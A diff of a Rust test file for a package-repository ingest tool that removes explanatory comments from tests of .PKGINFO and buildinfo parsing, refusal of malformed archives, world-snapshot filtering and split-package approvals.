assert_eq!(meta.version, "1.0-1"); assert_eq!(meta.arch, "x86_64"); assert_eq!(meta.desc, "a synthetic package"); - // Repeated keys are lists, not last-one-wins. assert_eq!(meta.license, vec!["MIT", "Apache"]); assert_eq!(meta.depends, vec!["glibc", "openssl>=1.1"]); assert_eq!(meta.makedepends, vec!["cmake"]); @@ -99,34 +96,25 @@ fn the_buildinfo_installed_block_is_parsed_line_by_line() { ], "the installed block must come through exactly" ); - // The block ends at the first unindented line; `sigfile` is not an install. assert!(!installed.iter().any(|i| i.name == "sigfile")); } #[test] fn a_package_without_a_pkginfo_is_refused_not_defaulted() { - // Ingest decides what the index claims about a package. Guessing a name from - // the filename would let a mislabeled artifact into a signed repo. let dir = tempfile::tempdir().unwrap(); let path = make_archive(dir.path(), "mystery", None, Some(BUILDINFO)); let bytes = std::fs::read(&path).unwrap(); assert!(pkginfo::pkginfo_text(&bytes).is_err(), "an archive with no .PKGINFO must not parse"); - // And a truncated archive is an error too, not an empty success. assert!(pkginfo::pkginfo_text(b"not even a zstd stream").is_err()); } #[test] fn the_world_snapshot_is_intersected_with_our_index_at_ingest_time() { - // §10.1 / I12. The fixture's build root contains glibc, pacman, binutils and - // plain-make; only plain-make is ours, and only plain-make may be recorded. let (env, fx) = env_with_fixture("plain-make"); - // The first build has no world of ours to record — the honest answer, not an - // empty lie about glibc. publish(&env, "plain-make"); let first = world_of_last_build(&env); assert!(first.is_empty(), "nothing of ours existed for the first build: {first:?}"); - // Now plain-make is in the index, so a later build records it and nothing else. let mut manifest = fx.manifest_json(); manifest["installed"] = serde_json::json!([ { "name": "glibc", "version": "2.39-1", "arch": "x86_64" }, @@ -145,7 +133,6 @@ fn the_world_snapshot_is_intersected_with_our_index_at_ingest_time() { "{foreign} is not ours and must not be in the snapshot — an unfiltered world makes every package permanently stale" ); } - // And the snapshot is attached to the build, not computed later. assert_eq!( env.query_i64("SELECT count(*) FROM build WHERE state='succeeded' AND world_snapshot_id IS NULL", &[]), Some(0), @@ -155,7 +142,6 @@ fn the_world_snapshot_is_intersected_with_our_index_at_ingest_time() { #[test] fn a_split_pkgbase_is_one_approval_and_many_index_rows() { - // §3: one recipe, several packages, one human decision. let (env, _fx) = env_with_fixture("split-pkgbase"); publish(&env, "split-pkgbase"); let rows: Vec<String> = env @@ -178,7 +164,6 @@ fn a_split_pkgbase_is_one_approval_and_many_index_rows() { rows.iter().all(|r| r.contains("art=Some")), "every index row needs its own artifact: {rows:?}" ); - // One approval, however many packages came out of it. assert_eq!(env.query_i64("SELECT count(*) FROM approval", &[]), Some(1)); assert_eq!(env.query_i64("SELECT count(*) FROM release", &[]), Some(1)); } |
